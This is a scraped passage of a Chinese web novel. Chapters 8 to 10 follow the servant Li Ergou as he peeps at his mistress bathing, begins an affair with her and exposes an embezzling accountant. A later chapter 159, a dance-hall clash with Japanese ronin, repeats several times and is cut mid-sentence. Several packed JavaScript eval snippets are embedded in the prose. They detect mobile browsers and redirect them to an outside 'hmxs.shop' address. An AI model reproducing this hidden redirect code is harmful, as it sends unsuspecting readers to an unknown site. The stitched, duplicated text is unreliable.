《李二狗和地主家的女人们》 第8章 下手轻一点 李二狗趴在床上,脑海里浮现的竟然是二姨太扭胯的样子,他流着口水睡着了。 “快起来,大奶奶叫你。” 李二狗在睡梦中被一个声音叫醒,睁开眼看到是迎春。 “迎春,你喊我?” 李二狗忘记自己没穿裤子,起身的瞬间,两人几乎同时尖叫起来。 迎春是吓得! 李二狗是疼得! “臭流氓!” 李二狗双手捂着下身,被迎春一巴掌扇在脸上。 “我……” “你什么你?”迎春又要动手,早有防备的李二狗握住她扬起的手。 “臭流氓!” “我……” 李二狗不知所措,迎春则羞得满面红光。 “快把你裤子穿上。”迎春转过头不敢再看李二狗。 李二狗龇牙咧嘴地把裤子穿上。 “找我啥事?” “大奶奶要洗澡,你烧好热水送到东厢房。” 李二狗屁股上抹了药,此时已经好了大半。 每个四合院都有一个独立的厨房,平时主要用来烧水。 李二狗朝大锅里倒入两桶水,架上柴火烧了起来。 水很快便烧开了,他把热水提到东厢房,里面有一个很大的木桶,把热水倒入木桶后,又提了两桶凉水,把水温兑的刚刚好。 热气从木桶里不断地升腾,整个屋子仿佛仙境一般,想到于兰芝从木桶里沐浴的样子,李二狗内心一阵悸动。 “好了吗?”正当李二狗沉浸在想象中的时候,迎春出现在门口。 李二狗回过神来,急忙说道:“好了。” “那你出去吧。” 李二狗经过迎春身边的时候,故意把身体挺的笔直,害的迎春又一阵乱云飞渡。 他鬼使神差地没有回自己的房间,而是悄悄来到厨房。 厨房隔壁就是大奶奶即将沐浴的地方。 不一会儿,隔壁房间就传来身体入水的声音,李二狗屏气凝神,脑海里想象着里面的画面。 “迎春,你先出去吧,我自己泡一会。” “好的,大奶奶,有事您叫我。” 接着就是开门关门的声音。 厨房里一片漆黑,从一个墙角竟然有些许亮光传进来。 李二狗蹑手蹑脚地走过去,发现亮光处塞着一个石块。 他把石块拿出来,原来是有人在墙壁上凿了一个小洞。 李二狗把眼睛靠近,通过小洞可以清晰地看到于兰芝正闭着眼躺在木桶里,不时地把水淋到自己身上。 和李二狗想象的一样,于兰芝的肌肤十分白皙,就像鸡蛋白那样白。 她身体靠在木桶上,只露出半个胸脯,李二狗喉咙滚动,吞了一口口水,身体发生了急剧变化。 李二狗目不转睛地看着于兰芝,心里不停地念叨,站起来,站起来。 于兰芝闭着眼躺在木桶里,她的手在水里轻轻地摆动,脸上是一副享受的表情,偶尔从嘴里发出几声轻哼。 “二狗……” 于兰芝嘴里突然哼出二狗的名字,让李二狗差点跌坐在地上。 难道被她发现了? 李二狗吓得赶紧溜出厨房,回到自己房间。 他出了一身汗,汗水浸湿了屁股,传来一阵钻心的疼痛。 大奶奶发现自己偷看,会不会打断自己的狗腿,听说上一个大奶奶院里的伙计就是被人打断腿扔了出去。 李二狗害怕极了。 半晌之后,李二狗听到开门的声音。 他趴在门缝里看到迎春走进了东厢房。 李二狗胆子又大了起来,他蹑手蹑脚又回到厨房。 把眼睛趴在小洞上,看到迎春正给于兰芝搓背。 搓完后面搓前面,搓完前面,于兰芝从木桶里站了起来,身上的水珠在昏黄的灯光下清晰可见。 “大奶奶,您皮肤可真好。”迎春由衷地赞美道。 “老了,哪里比得上你们这些小姑娘。”于兰芝轻轻叹了口气。 “谁说大奶奶老了,您年轻着呢。”迎春继续拍马。 “你就别哄我了,老爷有多长时间没来了,我心里有数。” “都怪二姨太那个骚狐狸,把老爷的魂儿都勾走了,”迎春说完,突然想起了什么,“李二狗和二姨太的丫鬟抱夏关系好像不一般。” 李二狗恨得牙痒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788773|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 痒,这个迎春怎么背后说人坏话,咒你以后嫁个二傻子,生孩子没腚眼。 于兰芝问道:“李二狗不会和张玲玉那个小**有瓜葛吧?” 屋内陷入短暂的沉默,李二狗倒是想和二姨太有瓜葛,人家也得看得上自己才行。 “待会你让李二狗到我屋里,我要单独审问他。” 迎春点了点头,没有再说话。 李二狗吓得赶紧把石头塞回洞里,回到自己房间。 不一会儿,就听到迎春在门外喊。 “李二狗,去把洗澡水倒了,然后去大奶奶屋,大奶奶有话问你。” “好,我马上去。” 李二狗出门时,迎春已经走远了。 李二狗来到东厢房,看着满地的水渍,上面仿佛还残留着于兰芝的体香,他忍不住猛吸两口。 倒完洗澡水,李二狗心情忐忑地来到于兰芝房门口。 “大奶奶。” “滚进来吧。” 李二狗推门而入,于兰芝身体斜靠在卧榻上,正在吃葡萄。 迎春把剥好的葡萄小心翼翼地喂到她嘴里。 吃了几颗葡萄,于兰芝摆了摆手。 “迎春,你先出去吧,我和二狗有话说。” 迎春不敢违拗,出门前瞪了李二狗一眼。 于兰芝用绣花手绢轻轻擦拭着嘴巴,并没有立即说话。 李二狗感觉到一股强大的压力。 于兰芝伸了伸腰,有意无意地说了一句:“年纪一大,我这老寒腰就容易犯病。” 李二狗心想,大奶奶无缘无故给我说这个干什么? 他联想到刚刚洗澡时,她喊了自己的名字,李二狗作为有一定阅历的男人,难免不胡思乱想。 “大奶奶,我跟我们村一个老中医学过穴位推拿,您要不要试一试?”李二狗说完,自己都觉得有些色胆包天。 别说他没学过穴位推拿,就是真学过,半夜三更在大奶奶的卧室也不适合干这个。 没想到,于兰芝却应允了。 “狗崽子,下手轻一点,我受不了这个。” 嘴上说受不了,却还让李二狗下手,女人的话确实得反着听。 第9章 兰芝,你放心…… 李二狗走到卧榻前,于兰芝身体依旧斜靠在卧榻上,乜斜着两眼盯着李二狗。 “大奶奶,您得趴着,这样我不好下手。” 于兰芝仿佛没有力气一般,把手伸给了李二狗。 李二狗见状,急忙拉住于兰芝的手,于兰芝这才转过身子趴在卧榻上。 他深吸一口气,双手刚碰触到于兰芝后背的时候,她的身体传来一阵战栗。 李二狗有一种似曾相识的感觉,春花当初也是这个反应,看来女人都喜欢战栗。 于兰芝刚洗完澡,身上穿着一件枣红色碎花小棉袄。 “大奶奶,屋里炭火烧的挺旺,要不您把棉袄脱了吧?衣服太厚我不好使劲。” “狗崽子,事还不少。” 于兰芝嘴上这样说,却爬起来把棉袄脱了,里面只穿了一件红色丝绸睡衣。 李二狗虽然没学过穴位按摩,但他习武的时候,师父教过辨识穴位。 所谓的穴位推拿,其实就是对准穴位用力,并不是什么高深的学问。 李二狗在于兰芝的肩井穴、肩髎穴、天髎穴等几个穴位上一通操作,于兰芝舒服的嘴里不停地哼哼。 “舒服……二狗……” 这时,李二狗看到窗外有个人影,看身形是迎春在偷听。 李二狗故意加大手上的力度,于兰芝哼哼的更欢了。 “二狗,轻一点……,你这个狗崽子,手上的功夫太厉害了……” 半个小时后,李二狗已满身大汗,于兰芝则舒服地瘫在卧榻上。 本来打算教训教训李二狗,此时早已被于兰芝忘到了九霄云外。 “大奶奶,您身上刚出完汗,小心着凉。”李二狗体贴地给于兰芝盖上毯子。 “二狗,明晚你再来。” “大奶奶,您好好休息,我先回去了。” 李二狗看到窗外的身影立马消失了。 他回到房间,躺在床上怎么也睡不着。 于兰芝年龄虽然大一点,但保养的却很好,肌肤不仅白皙,还富有弹性,手感相当滑腻。 不过比起于兰芝,李二狗更喜欢二姨太张玲玉,尤其她走路扭胯的样子,实在是勾人魂魄。 李二狗躺在床上翻来覆去睡不着,耳朵边总想起于兰芝喊二狗的声音。 一不做二不休,李二狗狗胆包天,起床穿上衣服,趁着月黑风高,来到于兰芝卧室门口。 李二狗轻轻敲了敲房门,里面立刻传来于兰芝的声音。 “谁?” “大奶奶,我是二狗,您腰还疼吗?我想再给您推拿推拿。” 于兰芝仿佛知道李二狗还会回来一般。 “门没锁,滚进来吧。” 李二狗推门而入,他在门口思考了一秒钟,反手拴上了门。 “大奶奶……” “二狗……” “兰芝……” “你……狗崽子……” 一个时辰后,于兰芝躺在李二狗怀里。 “二狗,我今天才知道当女人原来是这种感觉。” “兰芝,今天我屁股有点碍事没发挥好,下次我一定会发挥的更好。” “二狗,咱俩的事你要是敢说出去,我一定阉了你。” “兰芝,你放心……” “不许叫我兰芝,你出去吧!” 都说女人翻脸比翻书还快,果然如此。 李二狗穿好衣服,开门走了出去。 他知道,这种事情只要有了第一次,就会有第二次第三次,于兰芝肯定离不开自己。 李二狗回去睡了个好觉。 第二天一早,李二狗拖着受伤的屁股开始打扫院子。 于兰芝出门吃早饭的时候,李二狗热情地和她打招呼,可她根本没有搭理。 倒是迎春,结结实实给了他一个大白眼。 李二狗打扫完院子便赶去食堂吃早饭。 照例是一碗稀饭,窝头管够。 李二狗吃完饭又等了一会,始终没见抱夏过来,只能悻悻而归。 刚回到四合院,正准备去挑水,于兰芝站在廊檐下向他招手。 “大奶奶。”李二狗屁颠屁颠地跑了过去。 “跟我进来。” 进到屋内,于兰芝从怀里掏出一个鸡蛋。 “二狗,快吃了补一补,别让别人看见。” 李二狗接过带着于兰芝体温的鸡蛋,眼泪在眼眶里打转。 他一直搞不明白,为什么事后女人总喜欢给男人鸡蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788774|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 吃。 “谢谢大奶奶。” “狗崽子,我也不全是为了你,快吃了吧。” 李二狗三二下剥了皮,一口塞进嘴里,刚嚼了两口,迎春不知道什么时候出现在门口。 “大奶奶。” 李二狗想把嘴里的鸡蛋全咽下去,结果卡在喉咙里,脸憋的通红,差点噎死,半天才缓过劲了。 迎春照例瞪了李二狗一眼,不知道他又在搞什么鬼。 “大奶奶,今天是去磨坊查账的日子,我给账房李先生说好了,我们九点钟过去。” “迎春,你别去了,让二狗陪我去,有几件事我正好和他交待交待。” 气的迎春一个劲地拿眼睛剜他。 作为于兰芝的贴身丫鬟,迎春是这个四合院的半个主子,即使放眼整个胡家大院,她也是坐稳了奴才身份的人。 可李二狗一来,她的地位便变得有些岌岌可危。 李二狗倒显得很淡定,自己付出了精血,得到一点于兰芝的偏爱,理所应当。 跟着于兰芝刚出门,迎面正遇到二姨太张玲玉。 张玲玉的四合院在胡家大院最西侧,每次去前院都要经过于兰芝的四合院门口。 “吆,大姐,身边换人了呀?还是精壮小伙子服侍的周到不是,嘻嘻。” 张玲玉是戏子出身,凭借着一副好嗓子,把胡士高迷得五荤六素,十天倒有七天侍寝,深受其他姨太太的嫉恨。 “妹妹知道的不少啊,看来以前没少被男人伺候吧?看我这记性,我倒忘了,妹妹进府之前是戏子出身,经历过的男人肯定比我见过的还多,呵呵。” “你……”张玲玉被气的说不出话来,“我们走。” 李二狗看到张玲玉被气的胸脯一抖一抖的,眼睛嘀溜溜看个不停。 “也不怕闪了你的钛合金狗眼,有什么好看的?不就大点吗?”于兰芝骂道。 李二狗嘿嘿一笑,说道:“大奶奶,大而无当,我还是喜欢像您这么精致的。” “呸!不要脸的狗崽子,小心我煽了你。” 李二狗故意吓得双手捂住裤衩,逗得于兰芝笑个不停,可惜她笑起来,并没有二姨太的波澜起伏。 第10章 二狗,快吃了补补 张玲玉越想越气。 “抱夏,那个叫什么李二狗的会不会把那天晚上的事告诉那个**?” 抱夏对李二狗印象不错。 “二奶奶,我觉得不会,他是见义勇为。” “刚才你不觉得他和那个**的关系不一般吗?如果他把那天晚上的事告诉那个**,老爷一定会把我赶出胡家大院。” 张玲玉眼神里闪过一丝狠绝。 于兰芝带着李二狗来到磨坊。 磨坊账房李先生在门口笑脸相迎,一脸的肥肉竟笑出了褶皱。 “大奶奶,这是上个月的账目,请您过目。” 于兰芝有意考验一下李二狗,便说道:“二狗,你去看看账目。” 李先生眼中竟有一丝慌乱。 李二狗接过账本,认真地看了起来。 看了一会,李二狗说道:“大奶奶,账本我能拿回去看吗?” 于兰芝还未说话,李先生抢先说道:“大奶奶,账本是磨坊的命根子,万一丢失了,我可担不起这个责任啊。” 于兰芝早就对李先生有所怀疑,只是没有抓住他的把柄,李二狗提出把账本带回去看,肯定是发现了什么问题。 “李先生,你放心,明天我就让李二狗把账本送回来。” 李先生还要说什么,于兰芝已经站了起来,李二狗紧跟着走了出去。 “二狗,你觉得账本有问题?”于兰芝不动声色地问道。 “大奶奶,上个月的账目没有发现问题,我想拿回去把过去的账目都翻着看一看,也好有个比较。” 于兰芝若有所思地点了点头。 “没想到你还会看账目,不简单呐李二狗。” “嘿嘿,谢谢大奶奶夸奖,小时候教我功夫的师父家里有个磨坊,练武之余我经常帮点忙,略懂一点皮**。” 回到院子,李二狗就进屋专心看账本。 不看不知道,一看吓一跳,账房李先生这些年确实黑了不少钱。 李二狗拿着账本向于兰芝汇报。 “大奶奶,从账面上看,李先生仅这两年就黑了大约三百块大洋。” 于兰芝早就怀疑李先生中饱私囊,但没想到他会**这么多钱。 “二狗,这话不能乱说,得有真凭实据。” 李二狗显得信心十足。 “大奶奶,正常来说,磨制1斤面粉需要1.25斤小麦,可我算了算去年一月份到现在的账目,卖出的面粉数量和购买的小麦数量,磨制1斤面粉却需要消耗1.35斤小麦,看着相差不大,累加起来,数量可就相当惊人。” 于兰芝以前对账,只会看卖出多少面粉,一共收了多少钱,没想到李先生却在原材料小麦上做手脚。 “好你个李先生,竟敢欺骗老娘,看我怎么收拾你。”说完她看向李二狗,“二狗,你做的很好,大奶奶我今天要好好感谢感谢你。” “大奶奶,我……” 于兰芝一个眼神,李二狗只能乖乖跟着于兰芝进了卧室。 老话说三十如狼,四十如虎,于兰芝正是如狼似虎的年纪,干涸了这么多年,何况又是遇到李二狗这样身强体壮的男子,一时间无法自拔,那还顾得了白天黑夜。 于兰芝命迎春把李先生叫到院子里,李先生从于兰芝的脸色预感到不妙,但他依然故作镇静。 “大奶奶,您找我有什么吩咐?” 于兰芝把账本扔到他面前。 “李先生,你没有什么要说的吗?” 李先生瞅了一眼地上的账本,仍然心存侥幸地问道:“大奶奶,您这是什么意思?” “什么意思?你现在若是主动交代,看在这么多年的情分上,我还可以对你网开一面,如果还想继续隐瞒,李二狗,立马把他送去见官。” 李先生吓得登时跪在地上,磕头如捣蒜。 “大奶奶,我冤枉啊,我对您可一直是忠心耿耿。” 于兰芝冷笑一声。 “你冤枉?再不从实招来,我马上送你去见官。” “大奶奶,我在磨坊勤勤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788775|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 恳恳干了二十年,我没有贪过一分钱,请您相信我啊,大奶奶。” 李先生不停地在地上磕头。 虽然已经吓破了胆,嘴却依然很硬。 “二狗,送他去见官,到时候看他嘴还硬不硬。” 李二狗上前说道:“李先生,你这又是何苦呢?大奶奶多么心善一个人,只要你老实交代,大奶奶不会不念旧情的。” 李先生还在犹豫。 “二狗,别和他废话,赶快送去见官。” 李二狗闻到一股腥臊味,低头一看,李先生裤裆正在滴水。 “大奶奶,饶我这一次吧,我知道错了。” 李先生额头都磕破了。 “二狗,赶紧把他拉出去,熏**。”于兰芝一脸鄙夷地看着地上的一滩水,手不停地在鼻下挥动着。 李二狗把李先生拖了出去,他嘴里还不停地求饶。 李先生终被赶出了胡家大院,这完全是因为于兰芝这几天心情愉悦,不然肯定得打断腿送官。 晚上,大家都睡了之后,李二狗按照约定偷偷来到于兰芝卧室。 两人免不了又是一番深入的交流。 事后,于兰芝变戏法般从被窝摸出一个鸡蛋。 “二狗,快吃了补补。” 李二狗照例三二下剥了皮,一口塞进嘴巴里。 “二狗,磨坊得重新找个账房。” 李二狗第一时间想到陈老三,但他没有立刻说出来。 “大奶奶……” “和你说过多少次了,只有咱们两个人的时候不要叫我大奶奶。” “小宝贝……”李二狗犹豫了一下,还是选择了服从。 处在人生爬坡的关键阶段,有时候人不得不做些违心的事,说些违心的话。 “我觉得还是从磨坊里面选一个忠诚老实的人比较合适,从外边找的人终归不放心。” “我也是这样想的,明天你去磨坊了解一下,尽快选出一个人来。” “好的,大奶……小宝贝。” …… 第159章 李二狗暴露 静雯拦在日本浪人身前没有退缩,脸上依旧挂着职业的笑容。 “先生,她喝醉了,让她先回去清醒一下。她是新来的,您不要和她一般见识,来,我敬您一杯。” 静雯端起桌上的两杯酒,把其中一杯端给日本浪人。 日本浪人接过酒杯,脸上露出一副淫邪的笑容,她盯着静雯精致的脸庞,突然一扬手,把整杯酒都泼在静雯脸上。 日本浪人和周围的几个日本人肆意地狂笑。 “哈哈,这酒的味道怎么样?要不要再来一杯?” 辛辣的烈酒刺激的静雯眼泪流了下来,她剧烈地咳嗽起来。 日本浪人并不打算就此罢手,他伸出肮脏的手就要去薅静雯的头发。 静雯吓傻了。 舞厅的几个保镖畏惧日本人的**,面面相觑却不敢上前阻止。 “拿开你的脏手!” “哎吆!” 李二狗突然出现在静雯身后,铁钳一般的大手紧紧捏住日本浪人的手腕,痛得他哭爹喊娘。 “八嘎!” 旁边两个日本人见状,纷纷围了上来! “你们再敢上前,我立马捏碎他的手腕。” 李二狗手上一发力,日本浪人顿时痛得弯下腰匍匐在桌子上。 “八嘎!**猪!你们好大的胆子,知道我们是什么人吗?我们是大日本帝国的武士,你们竟敢对我们无理,我们要向你们政府**!” “我不知道什么大日本还是小日本,我只知道这里是中国,谁在这里**我就干他!” “你!快快放开他!” “让我放开他很容易,让他现在给这位女士道歉!” “八嘎!我们大日本帝国的武士怎么可能向你们中国人道歉!” “啊……” 李二狗手上加大了力度,日本浪人痛得鬼哭狼嚎,丝毫顾不上所谓大日本帝国武士的颜面。 “不道歉可以,我不着急,我可以慢慢等,就怕他等不了。” “啊……” “我道歉,我道歉……你快快松开!” 日本浪人吃不住痛,嘴上开始服软。 李二狗根本不相信放开他,他会道歉。 “你道完歉我再松开,快点!” “啊……,对不起!” “你知道错了吗?” 日本浪人稍一迟疑,李二狗再次加大了手上的力度。 “啊……,我知道错了,知道错了……” “以后还敢来百乐门**吗?” “我……不敢了!” 李二狗故意大声说道:“大点声,我没听见!” “啊……,不敢了!” “如果再**怎么办?”李二狗手上的力道不减。 “如果再**,我就是猪……” 人群中爆发出一阵哄笑声和讥笑声。 李二狗这才放开日本浪人的手腕,他起身怒视着李二狗,那一瞬间,他感觉这个眼神在哪里见过。 “八嘎!” 日本浪人转身去找自己的**。 他猛地抽出**,在五彩斑斓的灯光下发出刺眼的光芒。 当他还没喊出“八嘎”时,一支枪已经顶在他的脑门上。 “你要当着这么多人的面当猪吗?信不信我一枪打爆你的猪头!” 日本浪人盯着李二狗的眼睛,这双锐利的眼睛是那么的熟悉,他突然想到了那个蒙面人! “你是那个……” 他突然住了嘴,李二狗预感到自己可能已经暴露。 旁边的一个日本人说道:“你放开他,让我们离开这里!” 舞厅内挤满了人,李二狗只能把日本浪人放开。 “快滚!下次再敢**,决不轻饶!” 两个日本人上前扶起日本浪人,一群人狼狈而逃。 走到舞厅门口,日本浪人突然停下脚步,回头怒视着李二狗,那眼神仿佛在说你给我等着。 “二狗,这几个日本人肯定不会善罢甘休的。” “几个倭人而已,难道还能反了天不成?不要怕。” 李二狗并不打算把日本浪人认出自己的事情告诉静雯,他不想让她为自己担心。 “静雯,你装晕。”李二狗低声说道。 静雯不明白他的意思,但还是晕倒在地。 “静雯,静雯,你怎么了?”李二狗大声喊道,舞厅的人纷纷围了上来。 李二狗抱起静雯,快步上了二楼。 “你们在楼梯口守着,任何人不许上来打扰,静雯经理需要休息。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你知道吗?那个人很像那天袭击我和山木君的一个人,他当时蒙着面,但我能认出他的眼睛。” “你没有看错?” “绝对没有,他的眼睛,只要你看一眼就很难再忘记!” “那我们可以让中国政府抓捕他,何必我们自己亲自动手。” “是啊,中国**的很,今天上午他们刚刚**了那个凶手,这个凶手也一定不能放过!” 李二狗悄悄拔出了腰间的**…… 第159章 李二狗暴露 静雯拦在日本浪人身前没有退缩,脸上依旧挂着职业的笑容。 “先生,她喝醉了,让她先回去清醒一下。她是新来的,您不要和她一般见识,来,我敬您一杯。” 静雯端起桌上的两杯酒,把其中一杯端给日本浪人。 日本浪人接过酒杯,脸上露出一副淫邪的笑容,她盯着静雯精致的脸庞,突然一扬手,把整杯酒都泼在静雯脸上。 日本浪人和周围的几个日本人肆意地狂笑。 “哈哈,这酒的味道怎么样?要不要再来一杯?” 辛辣的烈酒刺激的静雯眼泪流了下来,她剧烈地咳嗽起来。 日本浪人并不打算就此罢手,他伸出肮脏的手就要去薅静雯的头发。 静雯吓傻了。 舞厅的几个保镖畏惧日本人的**,面面相觑却不敢上前阻止。 “拿开你的脏手!” “哎吆!” 李二狗突然出现在静雯身后,铁钳一般的大手紧紧捏住日本浪人的手腕,痛得他哭爹喊娘。 “八嘎!” 旁边两个日本人见状,纷纷围了上来! “你们再敢上前,我立马捏碎他的手腕。” 李二狗手上一发力,日本浪人顿时痛得弯下腰匍匐在桌子上。 “八嘎!**猪!你们好大的胆子,知道我们是什么人吗?我们是大日本帝国的武士,你们竟敢对我们无理,我们要向你们政府**!” “我不知道什么大日本还是小日本,我只知道这里是中国,谁在这里**我就干他!” “你!快快放开他!” “让我放开他很容易,让他现在给这位女士道歉!” “八嘎!我们大日本帝国的武士怎么可能向你们中国人道歉!” “啊……” 李二狗手上加大了力度,日本浪人痛得鬼哭狼嚎,丝毫顾不上所谓大日本帝国武士的颜面。 “不道歉可以,我不着急,我可以慢慢等,就怕他等不了。” “啊……” “我道歉,我道歉……你快快松开!” 日本浪人吃不住痛,嘴上开始服软。 李二狗根本不相信放开他,他会道歉。 “你道完歉我再松开,快点!” “啊……,对不起!” “你知道错了吗?” 日本浪人稍一迟疑,李二狗再次加大了手上的力度。 “啊……,我知道错了,知道错了……” “以后还敢来百乐门**吗?” “我……不敢了!” 李二狗故意大声说道:“大点声,我没听见!” “啊……,不敢了!” “如果再**怎么办?”李二狗手上的力道不减。 “如果再**,我就是猪……” 人群中爆发出一阵哄笑声和讥笑声。 李二狗这才放开日本浪人的手腕,他起身怒视着李二狗,那一瞬间,他感觉这个眼神在哪里见过。 “八嘎!” 日本浪人转身去找自己的**。 他猛地抽出**,在五彩斑斓的灯光下发出刺眼的光芒。 当他还没喊出“八嘎”时,一支枪已经顶在他的脑门上。 “你要当着这么多人的面当猪吗?信不信我一枪打爆你的猪头!” 日本浪人盯着李二狗的眼睛,这双锐利的眼睛是那么的熟悉,他突然想到了那个蒙面人! “你是那个……” 他突然住了嘴,李二狗预感到自己可能已经暴露。 旁边的一个日本人说道:“你放开他,让我们离开这里!” 舞厅内挤满了人,李二狗只能把日本浪人放开。 “快滚!下次再敢**,决不轻饶!” 两个日本人上前扶起日本浪人,一群人狼狈而逃。 走到舞厅门口,日本浪人突然停下脚步,回头怒视着李二狗,那眼神仿佛在说你给我等着。 “二狗,这几个日本人肯定不会善罢甘休的。” “几个倭人而已,难道还能反了天不成?不要怕。” 李二狗并不打算把日本浪人认出自己的事情告诉静雯,他不想让她为自己担心。 “静雯,你装晕。”李二狗低声说道。 静雯不明白他的意思,但还是晕倒在地。 “静雯,静雯,你怎么了?”李二狗大声喊道,舞厅的人纷纷围了上来。 李二狗抱起静雯,快步上了二楼。 “你们在楼梯口守着,任何人不许上来打扰,静雯经理需要休息。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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静雯拦在日本浪人身前没有退缩,脸上依旧挂着职业的笑容。 “先生,她喝醉了,让她先回去清醒一下。她是新来的,您不要和她一般见识,来,我敬您一杯。” 静雯端起桌上的两杯酒,把其中一杯端给日本浪人。 日本浪人接过酒杯,脸上露出一副淫邪的笑容,她盯着静雯精致的脸庞,突然一扬手,把整杯酒都泼在静雯脸上。 日本浪人和周围的几个日本人肆意地狂笑。 “哈哈,这酒的味道怎么样?要不要再来一杯?” 辛辣的烈酒刺激的静雯眼泪流了下来,她剧烈地咳嗽起来。 日本浪人并不打算就此罢手,他伸出肮脏的手就要去薅静雯的头发。 静雯吓傻了。 舞厅的几个保镖畏惧日本人的**,面面相觑却不敢上前阻止。 “拿开你的脏手!” “哎吆!” 李二狗突然出现在静雯身后,铁钳一般的大手紧紧捏住日本浪人的手腕,痛得他哭爹喊娘。 “八嘎!” 旁边两个日本人见状,纷纷围了上来! “你们再敢上前,我立马捏碎他的手腕。” 李二狗手上一发力,日本浪人顿时痛得弯下腰匍匐在桌子上。 “八嘎!**猪!你们好大的胆子,知道我们是什么人吗?我们是大日本帝国的武士,你们竟敢对我们无理,我们要向你们政府**!” “我不知道什么大日本还是小日本,我只知道这里是中国,谁在这里**我就干他!” “你!快快放开他!” “让我放开他很容易,让他现在给这位女士道歉!” “八嘎!我们大日本帝国的武士怎么可能向你们中国人道歉!” “啊……” 李二狗手上加大了力度,日本浪人痛得鬼哭狼嚎,丝毫顾不上所谓大日本帝国武士的颜面。 “不道歉可以,我不着急,我可以慢慢等,就怕他等不了。” “啊……” “我道歉,我道歉……你快快松开!” 日本浪人吃不住痛,嘴上开始服软。 李二狗根本不相信放开他,他会道歉。 “你道完歉我再松开,快点!” “啊……,对不起!” “你知道错了吗?” 日本浪人稍一迟疑,李二狗再次加大了手上的力度。 “啊……,我知道错了,知道错了……” “以后还敢来百乐门**吗?” “我……不敢了!” 李二狗故意大声说道:“大点声,我没听见!” “啊……,不敢了!” “如果再**怎么办?”李二狗手上的力道不减。 “如果再**,我就是猪……” 人群中爆发出一阵哄笑声和讥笑声。 李二狗这才放开日本浪人的手腕,他起身怒视着李二狗,那一瞬间,他感觉这个眼神在哪里见过。 “八嘎!” 日本浪人转身去找自己的**。 他猛地抽出**,在五彩斑斓的灯光下发出刺眼的光芒。 当他还没喊出“八嘎”时,一支枪已经顶在他的脑门上。 “你要当着这么多人的面当猪吗?信不信我一枪打爆你的猪头!” 日本浪人盯着李二狗的眼睛,这双锐利的眼睛是那么的熟悉,他突然想到了那个蒙面人! “你是那个……” 他突然住了嘴,李二狗预感到自己可能已经暴露。 旁边的一个日本人说道:“你放开他,让我们离开这里!” 舞厅内挤满了人,李二狗只能把日本浪人放开。 “快滚!下次再敢**,决不轻饶!” 两个日本人上前扶起日本浪人,一群人狼狈而逃。 走到舞厅门口,日本浪人突然停下脚步,回头怒视着李二狗,那眼神仿佛在说你给我等着。 “二狗,这几个日本人肯定不会善罢甘休的。” “几个倭人而已,难道还能反了天不成?不要怕。” 李二狗并不打算把日本浪人认出自己的事情告诉静雯,他不想让她为自己担心。 “静雯,你装晕。”李二狗低声说道。 静雯不明白他的意思,但还是晕倒在地。 “静雯,静雯,你怎么了?”李二狗大声喊道,舞厅的人纷纷围了上来。 李二狗抱起静雯,快步上了二楼。 “你们在楼梯口守着,任何人不许上来打扰,静雯经理需要休息。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当他还没喊出“八嘎”时,一支枪已经顶在他的脑门上。 “你要当着这么多人的面当猪吗?信不信我一枪打爆你的猪头!” 日本浪人盯着李二狗的眼睛,这双锐利的眼睛是那么的熟悉,他突然想到了那个蒙面人! “你是那个……” 他突然住了嘴,李二狗预感到自己可能已经暴露。 旁边的一个日本人说道:“你放开他,让我们离开这里!” 舞厅内挤满了人,李二狗只能把日本浪人放开。 “快滚!下次再敢**,决不轻饶!” 两个日本人上前扶起日本浪人,一群人狼狈而逃。 